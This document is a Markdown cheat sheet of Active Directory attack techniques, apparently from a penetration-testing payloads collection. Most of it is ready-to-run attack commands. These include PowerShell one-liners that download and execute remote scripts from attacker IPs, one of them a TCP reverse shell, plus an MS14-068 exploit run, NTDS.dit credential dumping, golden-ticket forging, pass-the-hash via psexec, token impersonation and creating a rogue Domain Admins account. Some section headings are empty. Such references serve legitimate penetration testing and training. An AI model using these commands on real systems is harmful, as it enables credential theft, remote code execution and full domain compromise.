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226 lines
7.5 KiB
Markdown
226 lines
7.5 KiB
Markdown
# Active Directory Attacks
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## Summary
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* [Tools](#tools)
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* [Most common paths to AD compromise](#most-common-paths-to-ad-compromise)
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* [MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)](#ms14-068-microsoft-kerberos-checksum-validation-vulnerability)
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* [GPO - Pivoting with Local Admin & Passwords in SYSVOL](#gpo---pivoting-with-local-admin--passwords-in-sysvol)
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* [Dumping AD Domain Credentials ](#dumping-ad-domain-credentials-systemrootntdsntdsdit)
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* [Golden Tickets](#golden-tickets)
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* [Silver Tickets](#silver-tickets)
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* [Trust Tickets](#trust-tickets)
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* [Kerberoast](#kerberoast)
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* [Pass-the-Hash](#pass-the-hash)
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* [OverPass-the-Hash (pass the key)](#overpass-the-hash-pass-the-key)
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* [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage)
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* [Privilege Escalation](#privilege-escalation)
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* [PrivEsc Local Admin - Token Impersonation (RottenPotato)](#privesc-local-admin---token-impersonation-rottenpotato)
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* [PrivEsc Local Admin - MS16-032](#privesc-local-admin---ms16-032---microsoft-windows-7--10--2008--2012-r2-x86x64)
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* [PrivEsc Local Admin - MS17-010 (Eternal Blue)](#privesc-local-admin---ms17-010-eternal-blue)
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* [From Local Admin to Domain Admin](#from-local-admin-to-domain-admin)
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## Tools
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* [Impacket](https://github.com/CoreSecurity/impacket)
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* [Responder](https://github.com/SpiderLabs/Responder)
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* [Mimikatz](https://github.com/gentilkiwi/mimikatz)
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* [Ranger](https://github.com/funkandwagnalls/ranger)
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* [BloodHound](https://github.com/BloodHoundAD/BloodHound)
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* [AdExplorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer)
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* [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec)
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```bash
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git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec
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```
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* [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon)
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```powershell
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powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.11.0.47/PowerUp.ps1'); Invoke-AllChecks"
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powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/Invoke-Mimikatz.ps1');"
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```
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## Most common paths to AD compromise
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### MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)
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```bash
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Exploit Python: https://www.exploit-db.com/exploits/35474/
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Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068
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Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
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git clone https://github.com/bidord/pykek
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python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
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python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
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mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"
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```
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### GPO - Pivoting with Local Admin & Passwords in SYSVOL
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:triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local
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Find password in SYSVOL
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```powershell
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findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
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```
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Metasploit modules to enumerate shares and credentials
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```c
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scanner/smb/smb_enumshares
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windows/gather/enumshares
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windows/gather/credentials/gpp
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```
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List all GPO for a domain
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```powershell
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Get-GPO -domaine DOMAIN.COM -all
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Get-GPOReport -all -reporttype xml --all
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Powersploit:
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Get-NetGPO
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Get-NetGPOGroup
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```
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### Dumping AD Domain Credentials (%SystemRoot%\NTDS\Ntds.dit)
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```c
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C:\>ntdsutil
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ntdsutil: activate instance ntds
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ntdsutil: ifm
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ifm: create full c:\pentest
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ifm: quit
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ntdsutil: quit
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or
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vssadmin create shadow /for=C :
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Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit
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```
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then you need to use secretsdump to extract the hashes
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```c
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secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
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```
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Metasploit module
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```c
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windows/gather/credentials/domain_hashdump
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```
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PowerSploit module
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```
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Invoke-NinjaCopy --path c:\windows\NTDS\ntds.dit --verbose --localdestination c:\ntds.dit
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```
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### Golden Tickets
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Mimikatz version
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```powershell
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Get info - Mimikatz
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lsadump::dcsync /user:krbtgt
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lsadump::lsa /inject /name:krbtgt
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Forge a Golden ticket - Mimikatz
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kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
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kerberos::tgt
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```
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Meterpreter version
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```c
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Get info - Meterpreter(kiwi)
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dcsync_ntlm krbtgt
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dcsync krbtgt
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Forge a Golden ticket - Meterpreter
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load kiwi
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golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
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golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
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kerberos_ticket_purge
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kerberos_ticket_use /root/Downloads/pentestlabuser.tck
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kerberos_ticket_list
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```
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### Silver Tickets
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### Trust Tickets
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### Kerberoast
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```c
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https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/
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https://room362.com/post/2016/kerberoast-pt1/
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```
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### Pass-the-Hash
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Note: the password can be replaced by a hash to execute a `pass the hash` attack.
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```c
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use exploit/windows/smb/psexec
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set RHOST 10.2.0.3
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set SMBUser jarrieta
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set SMBPass nastyCutt3r
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set PAYLOAD windows/meterpreter/bind_tcp
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run
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shell
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```
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### OverPass-the-Hash (pass the key)
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### Dangerous Built-in Groups Usage
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AdminSDHolder
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```powershell
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Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
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Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
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or
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([adsisearcher]"(AdminCount=1)").findall()
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```
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## Privilege Escalation
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### PrivEsc Local Admin - Token Impersonation (RottenPotato)
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Binary available at : https://github.com/foxglovesec/RottenPotato
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Binary available at : https://github.com/breenmachine/RottenPotatoNG
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```c
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getuid
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getprivs
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use incognito
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list\_tokens -u
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cd c:\temp\
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execute -Hc -f ./rot.exe
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impersonate\_token "NT AUTHORITY\SYSTEM"
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```
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```powershell
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Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser"
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Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"
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Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};"
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```
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### PrivEsc Local Admin - MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64)
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```
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Powershell:
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https://www.exploit-db.com/exploits/39719/
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https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1
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Binary exe : https://github.com/Meatballs1/ms16-032
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Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc
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```
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### PrivEsc Local Admin - MS17-010 (Eternal Blue)
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```c
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nmap -Pn -p445 — open — max-hostgroup 3 — script smb-vuln-ms17–010 <ip_netblock>
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```
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### From Local Admin to Domain Admin
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```powershell
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net user hacker2 hacker123 /add /Domain
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net group "Domain Admins" hacker2 /add /domain
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```
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## Thanks to
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* [https://chryzsh.gitbooks.io/darthsidious/content/compromising-ad.html](https://chryzsh.gitbooks.io/darthsidious/content/compromising-ad.html)
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* [Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition) - Adam Toscher](https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-your-internal-network-before-lunch-2018-edition-82259ab73aaa)
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* [Road to DC](https://steemit.com/infosec/@austinhudson/road-to-dc-part-1)
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* [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences](https://adsecurity.org/?p=2288)
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* [Golden ticket](https://pentestlab.blog/2018/04/09/golden-ticket/)
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